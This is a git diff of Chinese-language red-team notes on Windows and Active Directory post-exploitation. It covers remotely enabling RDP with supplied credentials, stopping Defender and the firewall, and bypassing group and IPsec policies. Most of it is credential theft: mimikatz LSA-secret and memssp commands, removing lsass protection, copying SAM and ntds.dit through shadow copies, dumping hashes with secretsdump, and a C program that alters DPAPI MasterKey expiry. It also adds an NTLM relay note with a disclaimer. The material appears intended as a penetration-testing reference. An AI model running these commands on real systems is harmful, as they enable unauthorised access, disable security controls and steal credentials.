+tasklist、netstat 命令查询 3389 端口 +``` +tasklist /svc | findstr "TermService" +netstat -ano | findstr "xxx" +``` + **cmd 开 RDP** -- 文章 - - [开启 RDP](https://b404.xyz/2017/12/27/open-RDP/) +- REG 开启 + 1. 方法一 : `REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f` -- 命令 - - dos 命令开启 3389 端口(开启 XP&2003 终端服务) - 1. 方法一 : `REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f` + 2. 方法二 : `REG add HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /d 0 /t REG_DWORD /f` - 2. 方法二 : `REG add HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /d 0 /t REG_DWORD /f` +- WMIC 开启 3389 + ``` + wmic /namespace:\\root\CIMV2\TerminalServices PATH Win32_TerminalServiceSetting WHERE (__CLASS !="") CALL SetAllowTSConnections 1 + wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 + ``` - - WMIC 开启 3389 +- WMIC 开启远程主机 3389 端口 + Win2k/XP/Win2k3 + ``` + wmic /node:192.168.1.1 /user:administrator /password:123123 PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1 + ``` - ``` - wmic /namespace:\\root\CIMV2\TerminalServices PATH Win32_TerminalServiceSetting WHERE (__CLASS !="") CALL SetAllowTSConnections 1 - ``` + Win7/Win2k8/Win8.1/Win10/2012/2016 + ``` + wmic /node:192.168.1.1 /user:administrator /password:123123 RDTOGGLE WHERE ServerName='WIN-TO2CN3V2VPR' call SetAllowTSConnections 1 + wmic /node:192.168.1.1 /user:administrator /password:123123 process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f' + ``` - - PowerShell 开启 RDP - 1. Enable RDP : `set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 0` +- PowerShell 开启 RDP + 1. Enable RDP : `set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 0` - 2. Allow RDP in firewall : `Set-NetFirewallRule -Name RemoteDesktop-UserMode-In-TCP -Enabled true` + 2. Allow RDP in firewall : `Set-NetFirewallRule -Name RemoteDesktop-UserMode-In-TCP -Enabled true` - 3. Enable secure RDP authentication : `set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "UserAuthentication" -Value 1` + 3. Enable secure RDP authentication : `set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "UserAuthentication" -Value 1` - 或 + 或 - 1. Enable Remote Desktop : `(Get-WmiObject Win32_TerminalServiceSetting -Namespace root\cimv2\TerminalServices).SetAllowTsConnections(1,1) ` + 1. Enable Remote Desktop : `(Get-WmiObject Win32_TerminalServiceSetting -Namespace root\cimv2\TerminalServices).SetAllowTsConnections(1,1) ` `(Get-WmiObject -Class "Win32_TSGeneralSetting" -Namespace root\cimv2\TerminalServices -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0) ` - 2. Enable the firewall rule : `Enable-NetFirewallRule -DisplayGroup "Remote Desktop"` + 2. Enable the firewall rule : `Enable-NetFirewallRule -DisplayGroup "Remote Desktop"` - - reg 开启 - ``` - Windows Registry Editor Version 5.00 - [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] - "fDenyTSConnections"=dword:00000000 - [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] - "PortNumber"=dword:00000d3d - ``` - ``` - regedit /s a.reg - ``` +- MSSQL xp_regwrite开启3389端口 - - 更改终端端口为 2008(十六进制为:0x7d8) + 1. 查询3389开启状态 : `exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server' ,'fDenyTSConnections'` - 1. `REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f` - 2. `REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f` + 2. 查询3389远程桌面端口 : `exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber' ` - - 查看 RDP 服务端口是否更改 + 3. 开启3389远程桌面端口(0:ON、1:OFF): `exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;` - ``` - REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /*出来的结果是 16 进制 - ``` +- reg 开启 + ``` + Windows Registry Editor Version 5.00 + [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] + "fDenyTSConnections"=dword:00000000 + [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] + "PortNumber"=dword:00000d3d + ``` + ``` + regedit /s a.reg + ``` - - 允许 3389 端口 - ``` - netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow - ``` +- msf + ``` + run getgui -e + ``` - - 关闭防火墙 - ``` - netsh advfirewall set allprofiles state off +- 更改终端端口为 2008(十六进制为:0x7d8) - ``` + 1. `REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f` + 2. `REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f` - - 关闭Denfnder - ``` - net stop windefend - ``` +- 查看 RDP 服务端口是否更改 + ``` + REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /*出来的结果是 16 进制 + ``` - - 取消 xp&2003 系统防火墙对终端服务的限制及 IP 连接的限制: +- 允许 3389 端口 + ``` + netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow + ``` - ``` - REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled :@ xpsp2res.dll,-22009 /f - ``` +- 关闭防火墙 + ``` + netsh advfirewall set allprofiles state off + ``` + +- 关闭Denfnder + ``` + net stop windefend + ``` + +- 取消 xp&2003 系统防火墙对终端服务的限制及 IP 连接的限制: + ``` + REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled :@ xpsp2res.dll,-22009 /f + ``` --- @@ -464,9 +515,77 @@ REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\W ## 凭据窃取 +**相关文章** +- [获取远程主机保存的 RDP 凭据密码](https://0x20h.com/p/bf1f.html) +- [解密目标系统RDP连接密码](https://www.jianshu.com/p/6c11412947e5) + **相关工具** - [hmoytx/RdpThief_tools](https://github.com/hmoytx/RdpThief_tools) - 窃取 mstsc 中的用户明文凭据 - [0x09AL/RdpThief](https://github.com/0x09AL/RdpThief) +- [mimikatz](../../安全工具/Mimikatz.md#dpapi) + +--- + +## 绕过组策略限制 + +**相关文章** +- [组策略限制3389登录的绕过方式](https://mp.weixin.qq.com/s/4eDNmiiXp7afLKdYzHeb3Q) + +**修改本地组策略** +``` +secedit /export /cfg c:\gp.inf /quiet //导出组策略 +``` + +编辑 c:\gp.inf,删除指定策略,在导入 +``` +secedit /configure /db c:\gp.sdb /cfg c:\gp.inf /quiet //导入组策略 +gpupdate /force //更新组策略 +``` + +策略举例 +- 拒绝本地登陆: + + 说明:此安全设置确定要防止哪些用户在该计算机上登录。如果帐户受制于此策略设置和“允许本地登录”策略设置,则前者会取代后者。 + ``` + SeDenyInteractiveLogonRight = Guest + ``` +- 拒绝通过远程桌面服务登录: + + 说明:此安全设置确定禁止哪些用户和组作为远程桌面服务客户端登录。 + ``` + SeDenyRemoteInteractiveLogonRight = Administrator + ``` +- 允许本地登陆: + + 说明:确定哪些用户可以登录到该计算机。 + ``` + SeInteractiveLogonRight = *S-1-5-32-544,*S-1-5-32-545,*S-1-5-32-551 + *S-1-5-32-544:Administrators + *S-1-5-32-545:Users + *S-1-5-32-551:Backup Operators + ``` +- 允许通过远程桌面服务登录: + + 说明:此安全设置确定哪些用户或组具有作为远程桌面服务客户端登录的权限。 + ``` + SeRemoteInteractiveLogonRight = *S-1-5-32-544,*S-1-5-32-555 + *S-1-5-32-544:Administrators + *S-1-5-32-555:Remote Desktop Users + ``` + +--- + +## 绕过本地安全策略限制限制 + +**相关文章** +- [IP安全策略限制3389登录的绕过方式](https://mp.weixin.qq.com/s/FMGqJx0GbhxXfdnFS929zQ) + +**解决方案** +- 本地端口转发 +- 删除所有安全策略 + ``` + netsh ipsec static del all + ``` --- @@ -483,14 +602,15 @@ REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\W - [Windows用户密码的加密方法与破解](https://www.sqlsec.com/2019/11/winhash.html#toc-heading-2) - [Windows下的密码hash——NTLM hash和Net-NTLM hash介绍](https://3gstudent.github.io/3gstudent.github.io/Windows%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81hash-NTLM-hash%E5%92%8CNet-NTLM-hash%E4%BB%8B%E7%BB%8D/) - [浅学Windows认证](https://b404.xyz/2019/07/23/Study-Windows-Authentication/) +- [抓取HASH的10001种方法](https://mp.weixin.qq.com/s/6mwms9LtLE6cK0ukpoSMmg) +- [凭据收集总结](https://my.oschina.net/csxa/blog/4343803) +- [Bypass LSA Protection&Credential Guard获取密码](https://xz.aliyun.com/t/6943) +- [Windows下的密码hash——Net-NTLMv1介绍](https://3gstudent.github.io/3gstudent.github.io/Windows%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81hash-Net-NTLMv1%E4%BB%8B%E7%BB%8D/) **相关工具** - Hashcat - [Hashcat 爆破NTLM-hash](../../安全工具/Hashcat.md#爆破NTLM-hash) - [Hashcat 爆破net-NTLMv2](../../安全工具/Hashcat.md#爆破net-NTLMv2) -- [mimikatz](https://github.com/gentilkiwi/mimikatz) - 抓密码神器 - - [mimikatz](../../安全工具/Mimikatz.md) -- [skelsec/pypykatz](https://github.com/skelsec/pypykatz) - 用纯 Python 实现的 Mimikatz - [AlessandroZ/LaZagne](https://github.com/AlessandroZ/LaZagne) - 凭证抓取神器 - [Arvanaghi/SessionGopher](https://github.com/Arvanaghi/SessionGopher) - 使用 WMI 提取 WinSCP、PuTTY、SuperPuTTY、FileZilla 和 Microsoft remote Desktop 等远程访问工具保存的会话信息的 ps 脚本 - [Invoke-WCMDump](https://github.com/peewpw/Invoke-WCMDump) - 从 Credential Manager 中转储 Windows 凭证的 PowerShell 脚本 @@ -502,24 +622,153 @@ REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\W - [SterJo Key Finder](https://www.sterjosoft.com/key-finder.html) - 找出系统中软件的序列号 - [uknowsec/SharpDecryptPwd](https://github.com/uknowsec/SharpDecryptPwd) - 对密码已保存在 Windwos 系统上的部分程序进行解析,包括:Navicat,TeamViewer,FileZilla,WinSCP,Xmangager 系列产品(Xshell,Xftp)。 - Impacket + +### mimikatz + +- [mimikatz](../../安全工具/Mimikatz.md) + +--- + +### 加密降级攻击 + +`NetNTLM Downgrade Attacks` + +**相关文章** +- [Post Exploitation Using NetNTLM Downgrade Attacks](https://www.optiv.com/explore-optiv-insights/blog/post-exploitation-using-netntlm-downgrade-attacks) + +**相关工具** +- [eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue) - NetNTLM Downgrade Attacks,通过 SSPI 调⽤ NTLM 身份验证,通过协商使⽤预定义 challenge 降级为 NetNTLMv1,获取到 NetNTLMv1 hash。⽽ NetNTLMv1 hash 可以短时间内使⽤彩虹表去破解。这种情况可以在不接触 LSASS 的情况下检索 NTLM 哈希。可以说比运行 Mimikatz 更隐秘,因为不需要向受保护的进程注入代码或从受保护的进程中转储内存。由于 NetNTLMv1 响应是通过在本地与 NTLMSSP 进行交互而引发的,因此不会生成网络流量,并且所选择的挑战也不容易看到。没有成功的 NTLM 身份验证事件记录在日志中。 + ``` + InternalMonologue -Downgrade False -Restore False -Impersonate True -Verbose False -Challenge 1122334455667788 + ``` + + ![](../../../../assets/img/Security/RedTeam/OS安全/Windows安全/3.png) + + 如果以普通用户权限执行 InternalMonologue,能够获得当前用户权限的 Net-NTLMv2 数据包,通过 hashcat 进行破解,能获得当前用户的明文口令 + +--- + +### SAM & LSA Secrets + +在 Windows 系统中本机的用户密码以 hash 形式存储在 `%SystemRoot%\system32\config\sam` 数据库文件中。 + +LSA Secrets 存储 PC 用户的文本密码、服务账户密码(例如,必须由某个用户运行才能执行某些任务的密码)、Internet Explorer 密码、RAS 连接密码、SQL 和 CISCO 密码、SYSTEM 账户密码、EFS 加密密钥等用户私人数据等等。 + +LSA Secrets 存储在注册表中: +``` +HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets +``` + +**mimikatz** +``` +token::elevate +lsadump::secrets +``` + +**注册表 dump** +``` +reg save HKLM\SYSTEM system +reg save HKLM\SAM sam +reg save HKLM\SECURITY security + +impacket-secretsdump -sam sam -security security -system system LOCAL +或 +lsadump::secrets /system:system /security:security +``` + +![](../../../../assets/img/Security/RedTeam/OS安全/Windows安全/4.png) + +**卷影复制** + +```bash +wmic shadowcopy call create volume='c:\' # 先创建 c 盘的 shadowscopy +# 或者 +vssadmin create shadow /for=C: + +vssadmin list shadows # 查看 +copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\config\sam c:\sam +copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\config\security c:\security +copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\config\system c:\system + +# 用 impacket-secretsdump 来进行解密 +impacket-secretsdump -sam sam -security security -system system LOCAL +``` + +![](../../../../assets/img/Security/RedTeam/OS安全/Windows安全/5.png) + +--- + +### Bypass LSA Protection + +1. 从磁盘上的 SAM 读取凭据 +2. mimikatz 其中的 mimidrv.sys 驱动程序,可从 lsass.exe 进程中删除 LSA 保护,成功 pypass LSA Protection。 ``` - # 通过 wmiexec pth 后 - reg save HKLM\SYSTEM system.save - reg save HKLM\SAM sam.save - reg save HKLM\SECURITY security.save - get system.save - get sam.save - get security.save - del /f system.save - del /f sam.save - del /f security.save + privilege::debug + !+ + !processprotect /process:lsass.exe /remove + sekurlsa::logonpasswords ``` + + ![](../../../../assets/img/Security/RedTeam/OS安全/Windows安全/6.png) + +--- + +### Bypass Credential Guard + +1. 从磁盘上的 SAM 读取凭据 +2. SSP 是参与用户身份验证的 Microsoft 软件包,如在用户登录时被调用,并接收该用户的凭据。在系统启动时 SSP 会被加载到进程 lsass.exe 中。,Mimikatz 可通过内存安装自定义的 ssp,修改 lsass 进程的内存,实现从 lsass 进程中提取凭据,mimikatz 执行 misc::memssp 后,如果再输入了新的凭据 (如用户锁屏后重新登录),将会在 c:\windows\system32 下生成文件 mimilsa.log,其中保存有用户明文密码。 ``` - ./secretsdump.py -sam sam.save -system system.save -security security.save LOCAL + privilege::debug + misc::memssp ``` --- +### DPAPI + +由于功能需求,Dpapi 采用的加密类型为对称加密,所以只要找到了密钥,就能解开物理存储的加密信息了。 + +**相关文章** +- [通过Dpapi获取Windows身份凭证](https://www.lz1y.cn/2019/10/08/%E9%80%9A%E8%BF%87Dpapi%E8%8E%B7%E5%8F%96Windows%E8%BA%AB%E4%BB%BD%E5%87%AD%E8%AF%81/) +- [渗透技巧——获取Windows系统下DPAPI中的MasterKey](https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E8%8E%B7%E5%8F%96Windows%E7%B3%BB%E7%BB%9F%E4%B8%8BDPAPI%E4%B8%AD%E7%9A%84MasterKey/) + +**相关工具** +- [mimikatz](../../安全工具/Mimikatz.md#dpapi) + +**延长 MasterKey 的有效期** +```c +#include +int main(void) +{ + SYSTEMTIME st={0}; + FILETIME ft={0}; + printf("[+]Start to change expiry time...\n"); + st.wYear = 2025; + st.wMonth = 12; + st.wDay = 30; + st.wHour = 12; + st.wMinute = 30; + st.wSecond = 30; + printf("[+]New expiry time:%d-%d-%d %d:%d:%d\n", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond); + SystemTimeToFileTime(&st,&ft); + printf("dwLowDateTime:%08x\n",ft.dwLowDateTime); + printf("dwHighDateTime:%08x\n",ft.dwHighDateTime); + + FILE *fp; + fopen_s(&fp,"Preferred","rb+"); + fseek(fp,16,SEEK_SET); + fwrite(&ft.dwLowDateTime,sizeof(int),1,fp); + fwrite(&ft.dwHighDateTime,sizeof(int),1,fp); + fclose(fp); + printf("[+]Change success.\n"); + return 0; +} +``` + +![](../../../../assets/img/Security/RedTeam/OS安全/Windows安全/9.png) + +--- + ## 工作组 ### IPC$ @@ -541,7 +790,7 @@ REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\W net use \\192.168.1.1\c$ “12345@12345qw” /user:ffffffff0x\administrator net use \\192.168.1.1\c$ "123456" /user:administrator # 建立的非空连接 net use \\192.168.1.1\c$ "" /user:administrator # 空连接,无密码 -net use \\192.168.1.1\c$ /del # 删除建立的IPC连接 +net use \\192.168.1.1\c$ /del # 删除建立的 IPC 连接 net use # 查看本机连接共享情况 psexec.exe \\192.168.1.1 cmd # 通过 psexec 工具进行会话连接执行 @@ -747,6 +996,10 @@ Pass The Hash 能够完成一个不需要输入密码的 NTLM 协议认证流程 mimikatz 的 PTK 相关操作见 [mimikatz 笔记](../../安全工具/Mimikatz.md#ptk) +### NTLM中继 + +- [NTLM中继](./实验/NTLM中继.md) + --- ## 域 @@ -771,22 +1024,86 @@ ntds.dit 文件由三个主表组成:数据表,链接表和SD表。 - [导出域密码哈希值的多种方法介绍](https://www.freebuf.com/articles/system/177764.html) - [How Attackers Dump Active Directory Database Credentials](https://adsecurity.org/?p=2398) -#### 利用Dcsync获取域用户Hash +#### NTDS转储 + +**Impacket** + +- 工具地址 : [impacket](https://github.com/SecureAuthCorp/impacket) + +Impacket 是一组 python 脚本,可用于执行各种任务,包括提取 NTDS 文件的内容。impacket-secretsdump 模块需要我们提供 SYSTEM 和 NTDS 数据库文件。 + +```bash +./secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL + +# system:表示系统 hive 文件的路径(SYSTEM) +# ntds:表示 dit 文件的路径(ntds.dit) +``` + +此外,impacket 可以通过使用计算机帐户及其哈希进行身份验证从 NTDS.DIT 文件远程转储域密码哈希。 +```bash +./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1 +``` + +**DSInternals PowerShell** + +- 工具地址 : [MichaelGrafnetter/DSInternals](https://github.com/MichaelGrafnetter/DSInternals) + +DSInternals PowerShell 模块提供了构建在框架之上的易于使用的 cmdlet。主要功能包括离线 ntds.dit 文件操作以及通过目录复制服务(DRS)远程协议查询域控制器。 +```powershell +Save-Module DSInternals -Path C:\Windows\System32\WindowsPowershell\v1.0\Modules +Install-Module DSInternals +Import-Module DSInternals +Get-Bootkey -SystemHivePath 'C:\Users\sanje\Desktop\NTDS\SYSTEM' +Get-ADDBAccount -All -DBPath 'C:\Users\sanje\Desktop\NTDS\ntds.dit' -Bootkey $key +``` + +**Ntdsxtract** + +- 工具地址 : [libyal/libesedb](https://github.com/libyal/libesedb/) +- 相关文章 : [Extracting Hashes and Domain Info From ntds.dit](https://blog.ropnop.com/extracting-hashes-and-domain-info-from-ntds-dit/) + +首先我们需要从 NTDS.dit 文件中提取表格,这里我们可以通过 libesedb-tools 中的 esedbexport 来帮我们完成。Libesedb 是一个用于访问可扩展存储引擎(ESE)数据库文件(EDB)格式的库。当前,ESE 数据库格式被应用于许多不同的应用程序上,如 Windows Search,Windows Mail,Exchange,Active Directory(NTDS.dit)等。 + +安装 +```bash +get https://github.com/libyal/libesedb/releases/download/20200418/libesedb-experimental-20200418.tar.gz +tar xf libesedb-experimental-20200418.tar.gz +cd libesedb-20200418 +apt-get install -y autoconf automake autopoint libtool pkg-config +./configure +make +make install +ldconfig +``` + +利用该工具从 ntds.dit 文件中转储表格 +```bash +esedbexport -m tables /root/Desktop/NTDS/ntds.dit +``` + +下载 ntdsxtract 提取用户信息和密码哈希值 +```bash +git clone https://github.com/csababarta/ntdsxtract.git +cd ntdsxtract +python setup.py build && python setup.py install + +dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.6 data --syshive /root/Desktop/NTDS/SYSTEM --passwordhashes --pwdformat john --ntoutfile nthash.txt --lmoutfile lmhash.txt +``` + +#### Dcsync **mimikatz** mimikatz 的 DCSync 攻击 NTDS.DIT 操作见 [mimikatz 笔记](../../安全工具/Mimikatz.md#ntdsdit) -#### 使用VSS卷影副本提取ntds.dit +#### 卷影复制 卷影副本,也称为快照,是存储在 Data Protection Manager (DPM) 服务器上的副本的时间点副本。副本是文件服务器上单个卷的受保护共享、文件夹和文件的完整时间点副本。 **WMIC** ``` wmic /node:AD /user:PENTESTAdministrator /password:123qweQWE!@# process call create "cmd /c vssadmin create shadow /for=c: 2>&1 > c:vss.log" - wmic /node:AD /user:PENTESTadministrator /password:123qwe!@#!@# process call create "cmd /c copy 卷影IDWindowsNTDSNTDS.dit C:windowstempNTDS.dit 2>&1" - wmic /node:AD /user:PENTESTadministrator /password:123qwe!@# process call create "cmd /c copy 卷影IDWindowsSystem32configSYSTEM c:windowstempSYSTEM.hive 2>&1" net use k: \pentest.comc$ @@ -877,71 +1194,16 @@ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\Sh copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy ``` -#### NTDS转储 - -**Impacket** - -- 工具地址 : [impacket](https://github.com/SecureAuthCorp/impacket) - -Impacket 是一组 python 脚本,可用于执行各种任务,包括提取 NTDS 文件的内容。impacket-secretsdump 模块需要我们提供 SYSTEM 和 NTDS 数据库文件。 - -```bash -./secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL - -# system:表示系统 hive 文件的路径(SYSTEM) -# ntds:表示 dit 文件的路径(ntds.dit) -``` - -此外,impacket 可以通过使用计算机帐户及其哈希进行身份验证从 NTDS.DIT 文件远程转储域密码哈希。 -```bash -./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1 -``` - -**DSInternals PowerShell** - -- 工具地址 : [MichaelGrafnetter/DSInternals](https://github.com/MichaelGrafnetter/DSInternals) - -DSInternals PowerShell 模块提供了构建在框架之上的易于使用的 cmdlet。主要功能包括离线 ntds.dit 文件操作以及通过目录复制服务(DRS)远程协议查询域控制器。 -```powershell -Save-Module DSInternals -Path C:\Windows\System32\WindowsPowershell\v1.0\Modules -Install-Module DSInternals -Import-Module DSInternals -Get-Bootkey -SystemHivePath 'C:\Users\sanje\Desktop\NTDS\SYSTEM' -Get-ADDBAccount -All -DBPath 'C:\Users\sanje\Desktop\NTDS\ntds.dit' -Bootkey $key -``` - -**Ntdsxtract** - -- 工具地址 : [libyal/libesedb](https://github.com/libyal/libesedb/) -- 相关文章 : [Extracting Hashes and Domain Info From ntds.dit](https://blog.ropnop.com/extracting-hashes-and-domain-info-from-ntds-dit/) - -首先我们需要从 NTDS.dit 文件中提取表格,这里我们可以通过 libesedb-tools 中的 esedbexport 来帮我们完成。Libesedb 是一个用于访问可扩展存储引擎(ESE)数据库文件(EDB)格式的库。当前,ESE 数据库格式被应用于许多不同的应用程序上,如 Windows Search,Windows Mail,Exchange,Active Directory(NTDS.dit)等。 - -安装 -```bash -get https://github.com/libyal/libesedb/releases/download/20200418/libesedb-experimental-20200418.tar.gz -tar xf libesedb-experimental-20200418.tar.gz -cd libesedb-20200418 -apt-get install -y autoconf automake autopoint libtool pkg-config -./configure -make -make install -ldconfig -``` +--- -利用该工具从 ntds.dit 文件中转储表格 -```bash -esedbexport -m tables /root/Desktop/NTDS/ntds.dit -``` +### mscash -下载 ntdsxtract 提取用户信息和密码哈希值 -```bash -git clone https://github.com/csababarta/ntdsxtract.git -cd ntdsxtract -python setup.py build && python setup.py install +Mscash 是微软的一种散列算法,用于在登录成功后将缓存的域凭证存储在系统本地。缓存的凭证不会过期。域凭证被缓存在本地系统上,这样即使DC宕机,域成员也可以登录机器。值得注意的是,mscash hash 是不可 PTH 的 -dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.6 data --syshive /root/Desktop/NTDS/SYSTEM --passwordhashes --pwdformat john --ntoutfile nthash.txt --lmoutfile lmhash.txt -``` +- mimikatz + ```bash + lsadump::cache # 获取 SysKey 用于解密 NLKM 和 MSCache(v2) + ``` --- @@ -1377,30 +1639,5 @@ kekeo.exe "tgt::ask /user:sqlsvr /domain:ffffffff0x.com /password:Admin12345" ex kekeo.exe "tgs::s4u /tgt:TGT_sqlsvr@ffffffff0x.com_krbtgt~ffffffff0x.com@ffffffff0x.com.kirbi /user:administrator@ffffffff0x.com /service:/service:service_to_access" exit - Tgs::s4u /tgt:service_account_tgt_file /user:administrator@testlab.com /service:service_to_access ``` - ---- - -## 毒化LLMNR和NBT-NS请求 - -**相关文章** -- [Windows环境中使用Responder获取NTLMv2哈希并利用](https://www.freebuf.com/articles/system/194549.html) -- [攻防最前线:一封邮件就能捕获你的口令散列值](https://www.secrss.com/articles/8143) -- [Steal_NTLMv2_hash_using_File_Download_vulnerability](https://github.com/incredibleindishell/Windows-AD-environment-related/blob/master/Steal_NTLMv2_hash_using_File_Download_vulnerability/README.md) - 任意文件下载漏洞配合 Responder 毒化 - -**工具** -- [SpiderLabs/Responder](https://github.com/SpiderLabs/Responder) - ``` - python Responder.py -I eth0 - ``` - 在 Windows 机器上 :打开文件浏览器,连接 file://///test.htlm (或者任意文件名); - ``` - cd /usr/share/responder/logs - ``` - - 或者配合 mssql - ``` - xp_dirtree "\\\aaa.com" - ``` diff --git "a/1earn/Security/RedTeam/OS\345\256\211\345\205\250/\345\256\236\351\252\214/NTLM\344\270\255\347\273\247.md" "b/1earn/Security/RedTeam/OS\345\256\211\345\205\250/\345\256\236\351\252\214/NTLM\344\270\255\347\273\247.md" new file mode 100644 index 00000000..dfe6aa75 --- /dev/null +++ "b/1earn/Security/RedTeam/OS\345\256\211\345\205\250/\345\256\236\351\252\214/NTLM\344\270\255\347\273\247.md" @@ -0,0 +1,290 @@ +# NTLM中继 + +--- + +## 免责声明 + +`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` + +--- + +NTLM hash 分为 NTLMv1 NTLMv2 NTLMv2 session 三种,NTLMv2 的强度比 NTLMv1 强了不少 ,我们在实战中,如果获得的是 NTLMv1 的话直接对其进行爆破就行了,而现实情况中我们遇到的是 NTLMv2,NTLMv2 的密码强度高了不少,因此如果你没有一个超级强大的字典,你很难得到明文密码。那么,如果爆破行不通的话我们不妨试一下 NTLM Relay 攻击。 + +NTLM Relay 中,我们就是要将截获的 Net-NTLM Hash 重放来进行攻击,从而实现对其他机器的控制 + +对于工作组的机器来说,两台机器的密码需要一致才能成功,对于域用户来说,被欺骗用户(发起请求的用户)需要域管理员组里边的用户才可以,NTLM 中继成功后的权限为被欺骗用户的权限。 + +--- + +**相关文章** +- [内网渗透测试:NTLM Relay攻击分析](https://blog.csdn.net/whatday/article/details/107698383) +- [Windows内网协议学习NTLM篇之NTLM基础介绍](https://www.anquanke.com/post/id/193149) +- [Windows内网协议学习NTLM篇之发起NTLM请求](https://www.anquanke.com/post/id/193493) +- [Windows内网协议学习NTLM篇之Net-NTLM利用](https://www.anquanke.com/post/id/194069) +- [Windows内网协议学习NTLM篇之漏洞概述](https://www.anquanke.com/post/id/194514) + +--- + +# 获得 hash(发起 NTLM 请求) + +由于 SMB、HTTP、LDAP、MSSQL 等协议都可以携带 NTLM 认证的三类消息,所以只要是使用 SMB、HTTP、LDAP、MSSQL 等协议来进行 NTLM 认证的程序,都可以尝试向攻击者发送 Net-NTLMhash 从而让攻击者截获用户的 Net-NTLMhash,也就是说我们可以通过这些协议来进行攻击。 + +## LLMNR 和 NetBIOS 欺骗 + +Windows系统名称解析顺序为: +1. 本地 hosts 文件(%windir%\System32\drivers\etc\hosts) +2. DNS 缓存 / DNS 服务器 +3. 链路本地多播名称解析(LLMNR)和 NetBIOS 名称服务(NBT-NS) + +也就是说,如果在缓存中没有找到名称,DNS 名称服务器又请求失败时,Windows 系统就会通过链路本地多播名称解析(LLMNR)和 Net-BIOS 名称服务(NBT-NS)在本地进行名称解析。 + 